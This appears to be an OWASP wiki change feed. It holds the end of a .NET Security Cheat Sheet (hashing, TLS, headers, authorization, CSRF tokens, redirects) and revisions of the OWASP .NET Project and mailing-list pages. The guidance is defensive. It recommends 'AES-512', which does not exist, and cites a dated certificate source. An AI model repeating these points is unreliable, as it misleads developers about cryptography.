* '''A6 Sensitive data exposure'''&lt;br /&gt;
&lt;br /&gt;
DO NOT: Store encrypted passwords.&lt;br /&gt;
&lt;br /&gt;
DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.&lt;br /&gt;
&lt;br /&gt;
DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy. &lt;br /&gt;
&lt;br /&gt;
DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.&lt;br /&gt;
&lt;br /&gt;
DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].&lt;br /&gt;
&lt;br /&gt;
DO NOT: Allow SSL, this is now obsolete&lt;br /&gt;
&lt;br /&gt;
DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]&lt;br /&gt;
&lt;br /&gt;
DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders ] or disable via web.config:&lt;br /&gt;
    &amp;amp;lt;system.web&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;httpRuntime enableVersionHeader=&amp;quot;false&amp;quot;/&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/system.web&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;system.webServer&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;security&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;requestFiltering removeServerHeader=&amp;quot;true&amp;quot; /&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/security&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;httpProtocol&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;customHeaders&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Content-Type-Options&amp;quot; value=&amp;quot;NOSNIFF&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Frame-Options&amp;quot; value=&amp;quot;DENY&amp;quot; /&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-Permitted-Cross-Domain-Policies&amp;quot; value=&amp;quot;master-only&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;add name=&amp;quot;X-XSS-Protection&amp;quot; value=&amp;quot;1; mode=block&amp;quot;/&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;remove name=&amp;quot;X-Powered-By&amp;quot;/&amp;amp;gt;&lt;br /&gt;
      &amp;amp;lt;/customHeaders&amp;amp;gt;&lt;br /&gt;
    &amp;amp;lt;/httpProtocol&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''A7 Missing function level access control'''&lt;br /&gt;
&lt;br /&gt;
DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize(Roles = &amp;quot;Admin&amp;quot;)]&lt;br /&gt;
     [HttpGet]&lt;br /&gt;
     public ActionResult Index(int page = 1)&lt;br /&gt;
&lt;br /&gt;
or better yet, at controller level:&lt;br /&gt;
&lt;br /&gt;
     [Authorize]&lt;br /&gt;
     public class UserController&lt;br /&gt;
&lt;br /&gt;
You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)&lt;br /&gt;
&lt;br /&gt;
* '''A8 Cross site request forgery'''&lt;br /&gt;
&lt;br /&gt;
DO: Send the anti-forgery token with every Post/Put request:&lt;br /&gt;
&lt;br /&gt;
    using (Html.BeginForm(&amp;quot;LogOff&amp;quot;, &amp;quot;Account&amp;quot;, FormMethod.Post, new { id = &amp;quot;logoutForm&amp;quot;, @class = &amp;quot;pull-right&amp;quot; }))&lt;br /&gt;
        {&lt;br /&gt;
        @Html.AntiForgeryToken()&lt;br /&gt;
        &amp;amp;lt;ul class=&amp;quot;nav nav-pills&amp;quot;&amp;amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;Logged on as @User.Identity.Name&amp;lt;/li&amp;gt;&lt;br /&gt;
            &amp;amp;lt;li role=&amp;quot;presentation&amp;quot;&amp;amp;gt;&amp;amp;lt;a href=&amp;quot;javascript:document.getElementById('logoutForm').submit()&amp;quot;&amp;amp;gt;Log off&amp;amp;lt;/a&amp;amp;gt;&amp;amp;lt;/li&amp;amp;gt;&lt;br /&gt;
        &amp;amp;lt;/ul&amp;amp;gt;&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Then validate it at the method or preferably the controller level:&lt;br /&gt;
&lt;br /&gt;
        [HttpPost]&lt;br /&gt;
        '''[ValidateAntiForgeryToken]'''&lt;br /&gt;
        public ActionResult LogOff()&lt;br /&gt;
&lt;br /&gt;
NB: You will need to attach the anti-forgery token to Ajax requests.&lt;br /&gt;
&lt;br /&gt;
* '''A9 Using components with known vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
DO: Keep the .Net framework updated with the latest patches&lt;br /&gt;
DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities. So Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]&lt;br /&gt;
&lt;br /&gt;
* '''A10 Unvalidated redirects and forwards'''&lt;br /&gt;
&lt;br /&gt;
A protection against this was introduced in Mvc 3 template. Here is the code:&lt;br /&gt;
&lt;br /&gt;
        public async Task&amp;lt;ActionResult&amp;gt; LogOn(LogOnViewModel model, string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (ModelState.IsValid)&lt;br /&gt;
            {&lt;br /&gt;
                var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);&lt;br /&gt;
                if (logonResult.Success)&lt;br /&gt;
                {&lt;br /&gt;
                    await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);                              &lt;br /&gt;
                    return RedirectToLocal(returnUrl);&lt;br /&gt;
        ....&lt;br /&gt;
&lt;br /&gt;
        private ActionResult RedirectToLocal(string returnUrl)&lt;br /&gt;
        {&lt;br /&gt;
            if (Url.IsLocalUrl(returnUrl))&lt;br /&gt;
            {&lt;br /&gt;
                return Redirect(returnUrl);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                return RedirectToAction(&amp;quot;Landing&amp;quot;, &amp;quot;Account&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
Other advice:&lt;br /&gt;
&lt;br /&gt;
* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]&lt;br /&gt;
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]&lt;br /&gt;
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.&lt;br /&gt;
&lt;br /&gt;
More information:&lt;br /&gt;
&lt;br /&gt;
For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]&lt;br /&gt;
&lt;br /&gt;
==XAML Guidance==&lt;br /&gt;
&lt;br /&gt;
* Work within the constraints of Internet Zone security for your application.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Windows Forms Guidance== &lt;br /&gt;
&lt;br /&gt;
* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.&lt;br /&gt;
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.&lt;br /&gt;
&lt;br /&gt;
==WCF Guidance==&lt;br /&gt;
&lt;br /&gt;
* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.&lt;br /&gt;
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.&lt;br /&gt;
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.&lt;br /&gt;
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.&lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Bill Sempf - bill.sempf(at)owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Troy Hunt - troyhunt(at)hotmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jeremy Long - jeremy.long(at)owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]][[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=How_to_join_Owasp.Net_Mailing_List&amp;diff=230047</id>
		<title>How to join Owasp.Net Mailing List</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=How_to_join_Owasp.Net_Mailing_List&amp;diff=230047"/>
				<updated>2017-05-26T03:13:05Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: More spacing&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Go to the following page http://lists.owasp.org/mailman/listinfo/owasp-dotnet and fill out the section that says is titled &amp;quot;Subscribing to Owasp-dotnet&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=How_to_join_Owasp.Net_Mailing_List&amp;diff=230046</id>
		<title>How to join Owasp.Net Mailing List</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=How_to_join_Owasp.Net_Mailing_List&amp;diff=230046"/>
				<updated>2017-05-26T03:09:55Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Spacing I hope.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Go to the following page http://lists.owasp.org/mailman/listinfo/owasp-dotnet and fill out the section that says is titled &amp;quot;Subscribing to Owasp-dotnet&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP .NET Project]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230045</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230045"/>
				<updated>2017-05-26T03:06:58Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Navigation&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230044</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=230044"/>
				<updated>2017-05-26T02:44:56Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Still playing with dates.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
